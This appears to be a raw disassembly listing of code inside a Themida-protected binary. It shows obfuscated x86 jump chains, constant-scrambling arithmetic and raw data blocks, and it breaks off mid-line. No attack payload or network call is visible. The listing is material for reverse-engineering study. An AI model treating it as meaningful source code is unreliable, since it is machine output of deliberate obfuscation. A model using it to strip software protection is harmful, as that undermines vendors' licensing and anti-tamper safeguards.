; --------------------------------------------------------------------------- loc_50002D: ; CODE XREF: Themida_:00511BDCj add ecx, 4 push esi sub esp, 4 jmp loc_5010CC ; --------------------------------------------------------------------------- aIcsO db '',0 dw 8700h dd 685C241Ch, 523h, 0E171E9h, 0F8295A00h, 24148B5Fh, 5E08950h dd 4, 0C79FE9h db 0 ; --------------------------------------------------------------------------- loc_500065: ; CODE XREF: Themida_:00513BECj sub esp, 4 mov [esp], edi push ebx jmp loc_5003CE ; --------------------------------------------------------------------------- db 0BDh, 4, 61h aESu db 'e<',0 db 1, 0 ; --------------------------------------------------------------------------- loc_50007B: ; CODE XREF: Themida_:0050510Ej sub [edi+24h], esi push dword ptr [esp] pop esi jmp loc_50888D ; --------------------------------------------------------------------------- loc_500087: ; CODE XREF: Themida_:0050A1C0j add eax, 1 add eax, 643C0420h jmp loc_500646 ; --------------------------------------------------------------------------- dd 8324048Bh, 0BD5504C4h, 4, 34FFEE01h, 242C8B24h, 8304C483h dd 343304C4h, 24343124h, 8B243433h, 4312424h, 0C1E99C24h dd 5900011Eh, 8104EEC1h, 4ECh, 240C8900h, 1B9h, 464DE900h dd 2C310001h, 242C3324h, 13371E9h, 81E78900h, 4C7h, 4EF8300h dd 5C243C87h, 0B9240C89h, 191017DFh, 8106E9C1h, 0DE6FDDE9h dd 7EC18171h, 83717A2Fh, 0C8904ECh, 82BB5324h, 57390466h dd 0CF3809BFh, 2444815Fh, 3E1A5A08h, 247C0151h, 5ABF5708h dd 29513E1Ah, 0E90C247Ch, 13FD6h, 13E768h, 24048900h, 79E94DB4h dd 0B700004Ch, 0A6B15148h, 0C180D1F6h, 59CF2008h, 0E971B050h dd 606Ah ; --------------------------------------------------------------------------- loc_50015C: ; CODE XREF: Themida_:00507359j mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp push ecx push 4 pop ecx push 1E38h mov [esp], esi jmp loc_50EF9A ; --------------------------------------------------------------------------- loc_50017B: ; CODE XREF: Themida_:0050F8D4j pop esi jmp loc_510C56 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0D9h dd 14BA956h, 1CE7E9FAh, 0E9F60001h, 0CCB60F66h, 63936866h dd 240C8966h, 0C8B60F66h, 0E99C5166h, 0FFFFF66Eh ; --------------------------------------------------------------------------- loc_5001A8: ; CODE XREF: Themida_:0051406Cj push esi mov esi, 626F7EFAh sub edx, esi pop esi add edx, eax push ecx mov ecx, 3C354DBBh shr ecx, 2 neg ecx xor ecx, 52F35C1Ah sub ecx, 21E15469h xor ecx, 0E24FE2E5h add edx, ecx pop ecx push 726h mov [esp], ecx jmp loc_501A05 ; --------------------------------------------------------------------------- loc_5001E0: ; CODE XREF: Themida_:00508F2Bj add ebx, esi pop esi jmp loc_510CD2 ; --------------------------------------------------------------------------- dd 0E932FF66h, 0FFFFF626h ; --------------------------------------------------------------------------- loc_5001F0: ; CODE XREF: Themida_:00502FFDj pop esi push 4A67h jmp loc_505E95 ; --------------------------------------------------------------------------- db 0C1h dd 0E58107E5h, 58F82741h, 0BEA9ED81h, 0EE21B685h, 4E6C15Dh dd 6FBBBF57h, 0B8506542h, 7666182Dh, 5327242Dh, 65E9570Fh dd 2100013Bh, 243C8BFBh, 0F704C483h, 6EBC1D3h, 89DAB951h dd 0CB013EF0h, 774C0559h, 0D8011567h, 67774C2Dh, 241C8B15h dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 4872C381h, 1FE91142h db 0F5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_500267: ; CODE XREF: Themida_:00504697j pop edx xor edx, 9D7FDFh jmp loc_4FF8B2 ; --------------------------------------------------------------------------- loc_500273: ; CODE XREF: Themida_:0051439Aj add edx, 4 jmp loc_50E108 ; --------------------------------------------------------------------------- db 0F6h dd 80DDF6D5h, 0A9E955F5h, 5800002Dh, 6782EA81h, 0CA016713h dd 7152BF57h, 0E9476A13h, 1107Fh, 8124348Bh, 4C4h, 47D1E900h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_512ADA ; --------------------------------------------------------------------------- dd 4EF81h, 3C870000h, 0BCE95C24h, 40000A5h, 2CE82861h dd 3DD0E961h, 0C4810001h, 4, 12D90E9h db 0 ; --------------------------------------------------------------------------- loc_5002DD: ; CODE XREF: Themida_:005031D6j add ecx, 0A4FBF9E3h push edi jmp loc_500E05 ; --------------------------------------------------------------------------- loc_5002E9: ; CODE XREF: Themida_:00513FB9j add esi, 1 sub esi, 570F0D20h jmp loc_502338 ; --------------------------------------------------------------------------- dw 0C483h dd 5F416804h, 0C890000h, 31E95724h, 0FFFFFFFDh, 0E95B2434h dd 276Ch ; --------------------------------------------------------------------------- loc_500314: ; CODE XREF: Themida_:005069B9j xor ebp, [esp] mov esp, [esp] shr ecx, 2 sub esp, 4 mov [esp], ecx jmp loc_509957 ; --------------------------------------------------------------------------- dd 0BE243489h, 3A34536Bh, 90E9F029h, 66000023h, 51240C8Bh dd 0A16AE9h, 0E3895300h, 3647E9h, 80C6B300h, 0DD88D6F3h dd 3DD6E9h db 0 ; --------------------------------------------------------------------------- loc_500355: ; CODE XREF: Themida_:005089E3j mov [esp], ebx jmp loc_513C56 ; --------------------------------------------------------------------------- loc_50035D: ; CODE XREF: Themida_:00500494j add esp, 4 push edi mov edi, 4 jmp loc_501C6A ; --------------------------------------------------------------------------- dw 0CF81h dd 2D050A29h, 13D9BE9h, 89FA8900h, 24148BD1h, 4C481h, 3C8B0000h dd 0F79AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50038E: ; CODE XREF: Themida_:0050DFC0j mov ebx, 6B6D6E01h jmp loc_5065D1 ; --------------------------------------------------------------------------- dd 324538BFh, 5FF83113h, 158C731h, 0C1815FF9h, 2, 2474FF51h dd 2434FF04h, 0E3895359h, 4C381h, 0C3830000h, 241C8704h dd 24048F5Ch, 1572E95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_5003CE: ; CODE XREF: Themida_:0050006Cj mov ebx, 10h mov edi, ebx pop ebx and ebx, edi mov edi, [esp] push edi mov edi, esp push esi push ebp jmp loc_5058DD ; --------------------------------------------------------------------------- aRs3 db 'R3',0 dw 4B00h aWsm db 'Wm',0 align 2 loc_5003F2: ; CODE XREF: Themida_:00512550j jmp loc_4FF816 ; --------------------------------------------------------------------------- db 1 dd 9201E9FBh, 835B0000h, 0CE8004C4h, 0F1EE8008h, 8008E6C0h dd 0F000D2C6h, 4EC835Ah, 0B6241489h, 1DDFE994h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50041E: ; CODE XREF: Themida_:0051344Aj add edx, eax pop eax jmp loc_503D82 ; --------------------------------------------------------------------------- loc_500426: ; CODE XREF: Themida_:005148D7j push esi mov esi, 31F15DB1h jmp loc_500800 ; --------------------------------------------------------------------------- loc_500431: ; CODE XREF: Themida_:0051083Ej sub ecx, 0E3BC0A09h mov ebx, 14B70E48h jmp loc_514045 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 1000000h, 0FF5758C7h, 5F042474h, 5C24048Fh, 8904EC83h dd 0BF572404h, 6FC82463h, 9FF5E9h, 3E6C100h, 49A4E9h, 4C685700h dd 0E9000055h, 7943h ; --------------------------------------------------------------------------- loc_500478: ; CODE XREF: Themida_:00502BABj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] jmp loc_50035D ; --------------------------------------------------------------------------- loc_500499: ; CODE XREF: Themida_:00501FB3j add esi, edi pop edi sub esi, 4 jmp loc_50E438 ; --------------------------------------------------------------------------- dd 11BB5342h, 4B22F673h, 0BF57DBF7h, 0E0F649Eh, 3D72CF81h dd 7DE91054h, 8B00006Bh, 31682414h, 8900006Ch, 89562404h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 0EFBE95Ch db 1, 0 ; --------------------------------------------------------------------------- loc_5004E2: ; CODE XREF: Themida_:005005ADj mov esi, 56DA5FCDh sub esi, 55FD2005h sub eax, esi pop esi mov ebp, [esp] add esp, 4 push esi push 4 pop esi push ebx mov ebx, 31F77B5Bh add ebx, 3D9BEF06h sub eax, ebx pop ebx sub eax, esi push ebp mov ebp, 5310201Fh jmp loc_5130CB ; --------------------------------------------------------------------------- loc_500519: ; CODE XREF: Themida_:0050D960j push dword ptr [esp] pop esi add esp, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] push 2284h mov [esp], ebx jmp loc_50B372 ; --------------------------------------------------------------------------- loc_500538: ; CODE XREF: Themida_:0050297Cj add edi, 0F4A3C63Ah add ebx, edi pop edi push edi mov edi, esp push ebx jmp loc_500C48 ; --------------------------------------------------------------------------- dw 0CE81h dd 2C904F17h, 12455E9h, 0D3E95C00h, 680000B5h, 5140h, 0B7241C89h dd 0CC23E94Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50056A: ; CODE XREF: Themida_:0050DC6Fj add ebx, 4 push ecx mov ecx, 4 add ebx, ecx jmp loc_5057EB ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 1F71685Ch, 2C890000h, 2474FF24h, 1BDCE904h, 54550001h dd 0E9242C8Bh, 0E8FDh, 240C8B66h, 2C8B5455h, 0E9545624h dd 12F3Fh ; --------------------------------------------------------------------------- loc_5005AC: ; CODE XREF: Themida_:00503ED1j push esi jmp loc_5004E2 ; --------------------------------------------------------------------------- loc_5005B2: ; CODE XREF: Themida_:0050EFDFj add eax, edx add eax, 64734E97h sub eax, 238126BFh push ebp push esi jmp loc_50115E ; --------------------------------------------------------------------------- loc_5005C5: ; CODE XREF: Themida_:00502E1Fj add [esp+8], ecx mov ecx, [esp] add esp, 4 mov esi, [esp] add esp, 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx mov ecx, esp jmp loc_50A658 ; --------------------------------------------------------------------------- loc_5005EC: ; CODE XREF: Themida_:00505C30j push esi mov esi, 50CA4FAFh push ebp mov ebp, 0F3CEF3F5h add esi, ebp pop ebp add eax, esi pop esi mov edx, [esp] add esp, 4 jmp loc_50F5A3 ; --------------------------------------------------------------------------- db 0BEh, 21h, 0Bh dd 27E902F4h, 0FF000002h, 815D2434h, 4C4h, 98BB5300h, 0E92A8757h dd 655h, 0BD242C89h, 572E1FEFh, 0ECAFE9h db 0 ; --------------------------------------------------------------------------- loc_500635: ; CODE XREF: Themida_:005006A3j mov [esp], eax sub esp, 4 mov [esp], ebx jmp loc_5129DA ; --------------------------------------------------------------------------- loc_500646: ; CODE XREF: Themida_:0050008Fj push esi mov esi, 5D9B50C8h shr esi, 2 xor esi, 0F36A32Fh sub eax, esi pop esi and eax, 7EBF4C5Bh push esi mov esi, 4AB6FF8h neg esi shr esi, 3 sub esi, 3F053456h and esi, 33283B0Eh jmp loc_50A6EB ; --------------------------------------------------------------------------- loc_500679: ; CODE XREF: Themida_:00501905j mov ebp, 576E19ACh jmp loc_503657 ; --------------------------------------------------------------------------- db 5Fh dd 12B95157h, 812D2326h, 0AA3157C1h, 0CA35E96Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_500696: ; CODE XREF: Themida_:0050BEFCj pop ebx add ebx, 4 sub esp, 4 jmp loc_500635 ; --------------------------------------------------------------------------- aMhU db 'h&u',0 align 2 dw 0C89h dd 4C2B524h, 0E93304C9h, 6555h, 243C8B58h, 4C481h, 64680000h dd 0E9000012h, 5054h, 4C6815Eh, 0E9000000h, 80C5h ; --------------------------------------------------------------------------- loc_5006DC: ; CODE XREF: Themida_:00510A0Dj pop dword ptr [esp] pop esp mov [esp], edi push dword ptr [esp] pop eax add esp, 4 mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_501FE0 ; --------------------------------------------------------------------------- loc_500701: ; CODE XREF: Themida_:00510D97j push esi push edi mov edi, 238A3FB0h mov esi, edi pop edi jmp loc_504C61 ; --------------------------------------------------------------------------- dd 4C281h, 0EA810000h, 4, 5C241487h, 89242C89h, 6BF0E9E5h dd 5A660000h, 93ED80h, 2434FFE8h, 10FB2E9h, 0C8B6600h dd 8F26824h, 0ACE90000h, 8100004Ah, 342A44C7h, 0CD8DE971h dd 56520000h, 69AB6852h, 815A6429h, 0AD4263C2h, 0F0F2811Ch dd 0E923D82Fh, 0F10Fh ; --------------------------------------------------------------------------- loc_50076C: ; CODE XREF: Themida_:00504CAAj xchg edx, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp push esi mov esi, 4 sub ebp, 736441D2h add ebp, esi jmp loc_502EA9 ; --------------------------------------------------------------------------- dw 0E801h dd 89E9525Dh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_500793: ; CODE XREF: Themida_:0050A55Fj push 400h pop ecx and eax, ecx mov ecx, [esp] push 728h mov [esp], ebp push esp mov ebp, [esp] jmp loc_505822 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFF062h ; --------------------------------------------------------------------------- loc_5007B4: ; CODE XREF: Themida_:00500C78j add esp, 4 dec edx shl edx, 7 jmp loc_5048BA ; --------------------------------------------------------------------------- db 83h dd 0C68104C4h, 4, 5CF968h, 242C8900h, 4945E9h, 248B6600h dd 0F034E924h, 0BE56FFFFh, 154B5876h, 1EE81h, 8CE90000h dd 81000126h, 21577DC2h, 0E9D2F76Bh, 0C77Eh ; --------------------------------------------------------------------------- loc_500800: ; CODE XREF: Themida_:0050042Cj dec esi or esi, 5BC54A62h xor esi, 7BF55FF6h push edi jmp loc_50A98F ; --------------------------------------------------------------------------- db 83h dd 0FF5702EFh, 5F042474h, 5C24048Fh, 240C8966h, 10CB6E9h db 0 ; --------------------------------------------------------------------------- loc_500829: ; CODE XREF: Themida_:0050A29Cj add ebx, 4 add ebx, 4 jmp loc_509FCF ; --------------------------------------------------------------------------- dw 0F329h dd 6BC6815Eh, 12EB039h, 6BEE81DEh, 5B2EB039h, 5FCDEB81h dd 0EB816003h, 1489689Fh, 0D7E9F301h, 4F0000E2h, 0C3C4E9h dd 242C8B00h, 0F228E9h, 24248B00h, 66E1F766h, 664DD068h dd 66241489h, 93E99C50h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500883: ; CODE XREF: Themida_:00501F87j pop edx xchg ebx, [esp] pop esp push edi push 3833h push esp pop dword ptr [esp] push ecx jmp loc_50C895 ; --------------------------------------------------------------------------- dd 0A9BBF681h, 0F72960C2h, 5F59575Eh, 98E1815Eh, 0E97CA672h dd 94h ; --------------------------------------------------------------------------- loc_5008B0: ; CODE XREF: Themida_:005133EFj add ebp, 0D5F7375h sub esp, 4 jmp loc_506117 ; --------------------------------------------------------------------------- db 59h, 2Ch, 4Ah dd 0D828622Ch, 4A046204h, 0A52CE9h, 7E5C000h, 3095C580h dd 240C8BECh, 4C481h, 0EDE90000h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5008E7: ; CODE XREF: Themida_:00505A6Ej mov edx, 42653141h add edi, edx jmp loc_502C57 ; --------------------------------------------------------------------------- loc_5008F3: ; CODE XREF: Themida_:00500E12j add esi, 3CA204DCh mov edi, [esp] add esp, 4 add esi, ecx add esi, 2BAC5E99h pop ecx xor esi, [esp] jmp loc_50192A ; --------------------------------------------------------------------------- db 5Ch dd 8B24048Fh, 36682424h, 89000025h db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax jmp loc_50E6FD ; --------------------------------------------------------------------------- db 89h dd 39E95DEBh, 83000126h, 0E95004C4h, 0FFFFEF87h ; --------------------------------------------------------------------------- loc_50093C: ; CODE XREF: Themida_:0050279Dj xor ebp, [esp] jmp loc_50E067 ; --------------------------------------------------------------------------- dd 333468h, 0C76BE900h, 34FF0000h db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, 4 add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] push ebx push esp pop ebx jmp loc_506CE0 ; --------------------------------------------------------------------------- loc_500985: ; CODE XREF: Themida_:005095AEj push dx push bx mov bh, 0F9h inc bh and bh, 85h inc bh sub bh, 4Eh sub bh, 66h mov dh, bh pop bx sub bl, 0E4h sub bl, 8Ah sub bl, 0A2h sub bl, dh add bl, 0A2h add bl, 8Ah push 88Fh mov [esp], eax mov al, 0E4h sub bl, 0EEh add bl, al add bl, 0EEh jmp loc_503290 ; --------------------------------------------------------------------------- dd 0C581E589h, 4, 4ED81h, 2C870000h, 14895C24h, 34FF5424h dd 4D17E924h, 665A0000h, 660FFF05h, 6601732Dh, 20E3E952h dd 77FF0000h, 59669D1Ch, 9C2414D3h, 0FFEE15E9h db 0FFh ; --------------------------------------------------------------------------- loc_500A01: ; CODE XREF: Themida_:005144BFj xchg esi, [esp] mov esp, [esp] push ecx push esp pop ecx add ecx, 4 jmp loc_50AF21 ; --------------------------------------------------------------------------- db 81h, 0EEh, 30h dd 109812Eh, 30C681FEh, 8B09812Eh, 9268243Ch, 89000036h dd 0E0892404h, 405h, 40500h, 1FE90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500A3F: ; CODE XREF: Themida_:0050117Dj add edi, ebx jmp loc_50C0C8 ; --------------------------------------------------------------------------- loc_500A46: ; CODE XREF: Themida_:0050CE13j sub edx, 716174BCh pop ebp push edx push dword ptr [esp+4] mov edx, [esp] push 5F3Dh mov [esp], eax jmp loc_50E9D6 ; --------------------------------------------------------------------------- loc_500A62: ; CODE XREF: Themida_:0050A417j mov [esp], esp add dword ptr [esp], 4 pop edi push 49DDh mov [esp], ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax jmp loc_50AF02 ; --------------------------------------------------------------------------- loc_500A8C: ; CODE XREF: Themida_:00512499j sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp push 22214676h push dword ptr [esp] pop ebp add esp, 4 xor ebp, 0C64525Ch neg ebp jmp loc_5128D1 ; --------------------------------------------------------------------------- db 89h, 0E5h, 81h dd 4C5h, 4ED8300h, 5C242C87h, 0B9240C89h, 0B58384D0h, 0C8BC801h dd 0E1895124h, 4C181h, 0EBE90000h db 42h, 1, 0 ; --------------------------------------------------------------------------- loc_500ADB: ; CODE XREF: Themida_:00510997j push dword ptr [esp] pop ebx add esp, 4 and eax, edx mov edx, [esp] push 0EA6h jmp loc_507614 ; --------------------------------------------------------------------------- loc_500AF4: ; CODE XREF: Themida_:0050C137j mov edi, 0D2C50A5h sub ebx, edi pop edi add ebx, 7FFA3BE8h add ebx, eax sub ebx, 7FFA3BE8h add ebx, 0D2C50A5h sub esp, 4 mov [esp], ebp mov ebp, 4EFE03C3h shl ebp, 3 push edi push ecx mov ecx, 0EA25E64h mov edi, 76116D7Eh sub edi, ecx pop ecx jmp loc_50BC07 ; --------------------------------------------------------------------------- dw 0DFE9h dd 8BFFFFECh, 0C4832404h, 0CF90E904h, 0C3810000h, 2FEE6B1Ch dd 0E951F301h, 97D4h ; --------------------------------------------------------------------------- loc_500B50: ; CODE XREF: Themida_:00502DEEj pop edx add esp, 4 push esi push dword ptr [esp+4] pop esi jmp loc_50D7A1 ; --------------------------------------------------------------------------- db 5Dh dd 0FAE9C829h, 5C00006Dh, 160D68h, 60E8E900h, 0C890000h dd 4DD0B924h, 0BA52576Ch, 2A050A3Dh, 815AD121h, 666BA5E1h dd 6E9C13Fh, 0E94BD987h, 1138h, 33BE68h, 243C8900h, 2BFh dd 8BFB0100h, 8951243Ch, 4C181E1h, 0E9000000h, 0BD26h dd 8AACE951h, 8B5A0000h, 0C4812404h, 4, 0E8284004h, 0EA17E9h dd 24148900h, 4EC81h, 95E90000h, 49000051h, 730DE9h, 0C0596600h dd 0B05007E9h, 66E6E94Bh, 0E95F0000h, 0D2E9h ; --------------------------------------------------------------------------- loc_500BF4: ; CODE XREF: Themida_:005033D1j add esp, 4 jmp loc_4FF816 ; --------------------------------------------------------------------------- dd 0E9243489h, 0FFFFF01Ah, 4C7815Fh, 83000000h, 3C3302EFh dd 243C3124h, 5C243C33h, 242C8966h, 241C3166h, 241C3366h dd 241C3166h, 0E9EB8766h, 1201Bh, 24148B66h, 0E87AE9h db 0 ; --------------------------------------------------------------------------- loc_500C39: ; CODE XREF: Themida_:0050E44Aj mov eax, esp add eax, 4 add eax, 4 jmp loc_511E27 ; --------------------------------------------------------------------------- loc_500C48: ; CODE XREF: Themida_:00500545j mov ebx, 346068BAh jmp loc_50E1FB ; --------------------------------------------------------------------------- loc_500C52: ; CODE XREF: Themida_:0050FD0Dj mov ebp, 87CC4EDCh xor edx, ebp pop ebp or ecx, edx jmp loc_510C23 ; --------------------------------------------------------------------------- loc_500C61: ; CODE XREF: Themida_:0050EC41j pop esp push edi jmp loc_5030D6 ; --------------------------------------------------------------------------- dd 0E95FFD89h, 33A5h ; --------------------------------------------------------------------------- loc_500C70: ; CODE XREF: Themida_:00509FB5j push 58CB232Fh mov edx, [esp] jmp loc_5007B4 ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 8 dd 1C381h, 0FF530000h, 0FEE92404h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_500C8F: ; CODE XREF: Themida_:0050377Dj pop esi push ecx push 0C1Ah mov [esp], esp add dword ptr [esp], 4 pop ecx push esi mov esi, 5DFD71B8h neg esi inc esi jmp loc_50A4D3 ; --------------------------------------------------------------------------- loc_500CAF: ; CODE XREF: Themida_:0051299Cj mov esi, [esp] add esp, 4 add [esp+4], edx pop edx mov eax, [esp] push ebx jmp loc_5069EC ; --------------------------------------------------------------------------- db 89h dd 65E9241Ch, 280000EFh, 0B55166C8h, 0E95504A3h, 0FFFFF5EFh ; --------------------------------------------------------------------------- loc_500CD8: ; CODE XREF: Themida_:005130B4j sub ebp, 55945AC7h pop edi push edi mov edi, 46E3C3EFh xor ebp, edi jmp loc_502D22 ; --------------------------------------------------------------------------- loc_500CEC: ; CODE XREF: Themida_:0050B584j mov [esp], ecx mov edx, [esp] jmp loc_50865E ; --------------------------------------------------------------------------- db 0B9h dd 43E2376Dh, 8159C889h, 0AB5271EAh, 81C2290Ah, 0AB5271C2h dd 24048B0Ah, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0C281DA01h dd 43E2376Dh, 88C58851h, 240C8B2Ah, 0FF04C483h, 148B2434h dd 0B94EE924h, 0C3290000h, 2372B951h, 0E1812CB1h, 7A3B3412h dd 69A9E181h, 0E9811DB9h, 0CB71ACABh, 274E9h, 0C896600h dd 0B60F6624h, 9C5166C8h, 0FFEAA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_500D6D: ; CODE XREF: Themida_:0050DD20j pop edi or edi, 6625243Ah jmp loc_509B98 ; --------------------------------------------------------------------------- loc_500D79: ; CODE XREF: Themida_:0050CC6Bj push dword ptr [esp+4] jmp loc_50E560 ; --------------------------------------------------------------------------- dw 0C381h dd 9B25C87h, 0C104E3C1h, 0ADE903E3h, 6600001Fh, 0ECB050h dd 77ADE9C6h, 0E1C10000h, 0E9814107h, 0E665FC9Fh, 0EFE9C889h dd 8B000039h, 0C481240Ch, 4, 8108E9C1h, 0C456EAC9h, 0D0E98110h dd 89882A4Fh, 0E36859C8h, 89000066h, 0B4BF243Ch, 56533E1Ah dd 2E45A4BEh, 0DEF74E44h, 8C4E9h, 24148B00h, 55CBE9h db 0 ; --------------------------------------------------------------------------- loc_500DED: ; CODE XREF: Themida_:005077BDj pop ecx jmp loc_512ED1 ; --------------------------------------------------------------------------- loc_500DF3: ; CODE XREF: Themida_:004FFD46j push ebx push ecx jmp loc_509372 ; --------------------------------------------------------------------------- loc_500DFA: ; CODE XREF: Themida_:0050B048j push dword ptr [esp] mov eax, [esp] jmp loc_50DA56 ; --------------------------------------------------------------------------- loc_500E05: ; CODE XREF: Themida_:005002E4j mov edi, 2BAC5E99h sub esi, 3CA204DCh sub esi, edi jmp loc_5008F3 ; --------------------------------------------------------------------------- loc_500E17: ; CODE XREF: Themida_:004FFA5Dj sub edx, esi pop esi add esi, 5DAD0CEFh add esi, edx sub esi, 5DAD0CEFh mov edx, [esp] add esp, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push 3D12h mov [esp], ebp push 2F81h mov [esp], eax push ebx push 4D93h mov [esp], ebp mov ebp, 19F55F83h sub esp, 4 mov [esp], edx mov edx, 5FA6607Eh mov ebx, 3EFD5009h shr ebx, 3 jmp loc_501C84 ; --------------------------------------------------------------------------- loc_500E73: ; CODE XREF: Themida_:0051257Fj push dword ptr [edi+1Ch] push esi push ebp push 257E3F19h pop ebp shr ebp, 7 push ecx mov ecx, 66A7496Bh and ecx, 0E2A15C7h dec ecx push 6113h mov [esp], ebp mov ebp, 0F7E4001h dec ebp sub ebp, 7FEC7099h shl ebp, 2 jmp loc_51152D ; --------------------------------------------------------------------------- loc_500EAA: ; CODE XREF: Themida_:0050FA34j dec ecx jmp loc_5143BB ; --------------------------------------------------------------------------- loc_500EB0: ; CODE XREF: Themida_:0050586Bj push 2BC8h mov [esp], esi push eax mov eax, 11101E1Bh xor eax, 212C6BFAh shl eax, 3 dec eax shl eax, 4 jmp loc_5067AD ; --------------------------------------------------------------------------- db 0BEh dd 63EA382Bh, 815EF331h, 7B2FF3h, 8BDE2977h, 0C483241Ch dd 24348704h, 19D0E9h db 0 ; --------------------------------------------------------------------------- loc_500EED: ; CODE XREF: Themida_:00509A27j mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub dl, 0D5h sub bl, dl pop edx sub bl, 0D2h sub bl, al add bl, 0D2h push eax mov ah, 33h jmp loc_500FF6 ; --------------------------------------------------------------------------- dw 0B850h dd 4, 4244401h, 0FFF797E9h, 4C483FFh, 0E9515066h, 88C2h ; --------------------------------------------------------------------------- loc_500F30: ; CODE XREF: Themida_:00502115j ; Themida_:00503860j push ebx push 640Dh mov [esp], ebx push edi mov edi, 2F93B67h mov ebx, 75F80703h add ebx, edi mov edi, [esp] add esp, 4 jmp loc_50DD72 ; --------------------------------------------------------------------------- loc_500F51: ; CODE XREF: Themida_:00513D87j add ebp, 2EA01D42h sub ebp, edi sub ebp, 2EA01D42h jmp loc_503C6D ; --------------------------------------------------------------------------- loc_500F64: ; CODE XREF: Themida_:0050B9DFj add esp, 4 shl ebx, 8 jmp loc_511232 ; --------------------------------------------------------------------------- dw 1BBh dd 1000000h, 0B942E9D9h, 0E7C10000h, 0D7F74F05h, 814FDFF7h dd 0F9B56EEFh, 0A0D4E9C2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_500F92: ; CODE XREF: Themida_:00504DF1j xchg ebp, [esp] pop esp jmp loc_50F1C1 ; --------------------------------------------------------------------------- db 89h dd 0F9E92414h, 8B00009Ah, 31662424h, 0E99C2404h, 0FFFFE866h dd 24048B66h, 41626856h, 0EC830000h, 24248904h, 4240483h dd 6824048Fh, 32Ah, 84E6E9h, 59CB0100h, 2E685657h, 89000032h dd 65B9240Ch, 0BE5F641Bh, 9C699441h, 6047E9h, 48B6600h dd 27FFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_500FF6: ; CODE XREF: Themida_:00500F11j xor ah, 47h add ah, 22h jmp loc_511C54 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 8104C483h, 452221F5h, 0EB815A3Bh, 629810A5h, 0BD55EB29h dd 629810A5h, 5D5DEB01h, 31241C33h, 1C33241Ch, 24248B24h dd 0E9240C89h, 0FFFFE7E2h, 64BEEF81h, 0FD89003Eh, 0E9243C8Bh dd 0AD3Eh, 0BEF8159h, 5561742Fh, 0FF2F5DBDh, 5DEF29D6h dd 0C4E6E9h, 6E3C100h, 0E906EBC1h, 109D9h, 42Dh, 74FF5000h dd 8F580424h, 895C2404h, 0E2892414h, 4EC81h, 34890000h dd 4BE24h, 0F2010000h, 0D168575Eh, 89000024h, 0E956240Ch dd 0B3B5h, 0CD73E955h, 0C6810000h, 7D4901ECh, 6366BB53h dd 0DE013714h, 0A22CE9h, 24342800h, 8324348Ah, 0F68002C4h dd 38E68006h, 0C452E9h, 0E9DA2900h, 813Eh ; --------------------------------------------------------------------------- loc_5010CC: ; CODE XREF: Themida_:00500037j mov [esp], edi mov edi, 401E09A1h jmp loc_50BC85 ; --------------------------------------------------------------------------- loc_5010D9: ; CODE XREF: Themida_:0050C4C8j pop eax jmp loc_501886 ; --------------------------------------------------------------------------- db 52h dd 4F33DDBAh, 2BC2816Ah, 9F6CEF7h, 0C7815AD7h, 78E5129Eh dd 43E9F831h db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5010FB: ; CODE XREF: Themida_:00509B69j dec edi xchg eax, edi add eax, 154E1378h xor eax, 0F85A2B35h jmp loc_50DA33 ; --------------------------------------------------------------------------- loc_50110C: ; CODE XREF: Themida_:00505664j mov [esp], ebp push 76A763C3h jmp loc_504EBA ; --------------------------------------------------------------------------- loc_501119: ; CODE XREF: Themida_:00514A31j sub ebx, 586F6CB3h add ebx, 35DE6EFCh add ebx, edi sub ebx, 35DE6EFCh add ebx, 586F6CB3h add ebx, 44717930h push ebp mov ebp, 159C7D4Bh sub ebx, ebp pop ebp jmp loc_513133 ; --------------------------------------------------------------------------- db 31h dd 0EFC15BDFh, 47DFF703h, 0DF22E9h, 0C4835A00h, 0E6B8E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50115E: ; CODE XREF: Themida_:005005C0j mov esi, 6E7D6FA9h mov ebp, esi pop esi jmp loc_508E0B ; --------------------------------------------------------------------------- loc_50116B: ; CODE XREF: Themida_:00512E7Aj add ebp, 4 xchg ebp, [esp] pop esp mov edi, 0DF66EF49h add edi, 31111DEEh jmp loc_500A3F ; --------------------------------------------------------------------------- dw 248Bh dd 48B6624h, 